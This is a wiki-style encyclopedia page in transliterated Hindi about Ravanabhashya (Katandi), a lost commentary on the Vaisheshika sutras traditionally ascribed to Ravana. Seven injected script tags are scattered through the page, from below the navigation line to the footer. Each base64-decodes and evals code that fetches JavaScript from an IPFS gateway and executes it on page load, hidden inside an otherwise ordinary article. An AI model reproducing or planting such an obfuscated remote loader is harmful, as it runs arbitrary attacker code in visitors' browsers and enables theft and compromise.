रावणभाष्य

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

katandivyakhya : ravanabhashy

vaisheshik sootroan par katandi nam ki koee tika likhi gee thi. ashtam-navam shatabdi mean murari kavi dvara virachit 'anargharaghav' natak ke pancham aank mean ravan ke mukh se yah kahalaya gaya hai ki vah vaisheshik katandi pandit hai. anargharaghav ke vyakhyakar ruchipati upadhyay ne katandi ko ravan ki rachana bataya hai. kintu kis ravan ne yah vyakhya likhi? yah bhi ek aisa prashn hai, jis par vidvanoan ka gahan matabhed hai. kisi ke vichar mean lankapati ravan aur kisi ke mat mean ravan nam ka koee any vyakti isaka rachayita hai. kiranavali bhaskar mean padmanabhi mishr ne udayanachary ke-'sootre vaishadyabhavath bhashyasy visararatvath'- in kathan ka vishleshan karate hue yah kaha ki udayanachary dvara ullikhit bhashy, ravan dvara rachit tha, kintu nayachakr mean tatha nayachakr vritti mean katandi ko ek tika kaha gaya hai, jisase yah bhi abhasit hota hai ki katandi ravan krit bhashy ka nam bhi ho sakata hai aur us bhashy ki tika ka nam bhi. haan, isase itana sanket milata hai ki vaisheshik sootr ka koee ek bhashy tha, vyakhyagranth tha, usaka nam katandi tha. ab vah upalabdh nahian hai. vah bahut vistrit tha tatha prashastapad bhashy se bhinn tha. usamean udadhrit vachan prashastapad bhashy mean nahian milate. 'anye tu pradhanatvath atmaman:sannikarshapramanamaddu:' –dinnag ke pramanasamuchchay mean samagat is katha ki vishalamalavati mean vyakhya karate samay anye ka ashay ravan adi bataya gaya.[1] isi prakar nayachakr mean tatha brahmasootr shaankarabhashy ki govindranand rachit vyakhya- ratnaprabha mean bhi ravanapranit bhashy ka ullekh hai. yatha—'dvabhyaan dvaynukabhyamh arabdhakarye mahattvan drishyate. tasy hetu: prachayo nam prashithilavayavasanyog iti ravanapranitabhashye drishyat iti chirantanavaisheshikadrishtya idamabhihitamh.'

prakatarthavivaran mean bhi yah yah kaha gaya hai ki—'ravanapranite bhashye yadh dvabhyaan dvaynukabhyamh arabdhe karyeyath mahattvamh utpadyate tasy prachay: samavayikaranamityuktamh.'

kiranavali mean udayanachary dvara ullikhit bhashy padmanabh mishr ki drishti se bhi ravanabhashy hi hai. is prakar anargharaghav mean pramanasamuchchay ki vyakhya vishalamalavati mean, ratnaprabha mean, prakatarthavivaran mean, tatha kiranavali bhaskar mean uparyukt roop se jis katandi bhashy ka ullekh hai, usako adhikatar vidvanh lankapati ravan krit bhashy manate haian, kintu kuchh any vidvanoan ke anusar ravan katandi ka pandit tha, n ki katandi ka rachayita. phir bhi, kisi vidvanh ya lankapati ravan ne vaisheshik sootr par bhashy likha tha, is bat se adhikatar vidvanh sahamat haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. vimalavati, pri. 194

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>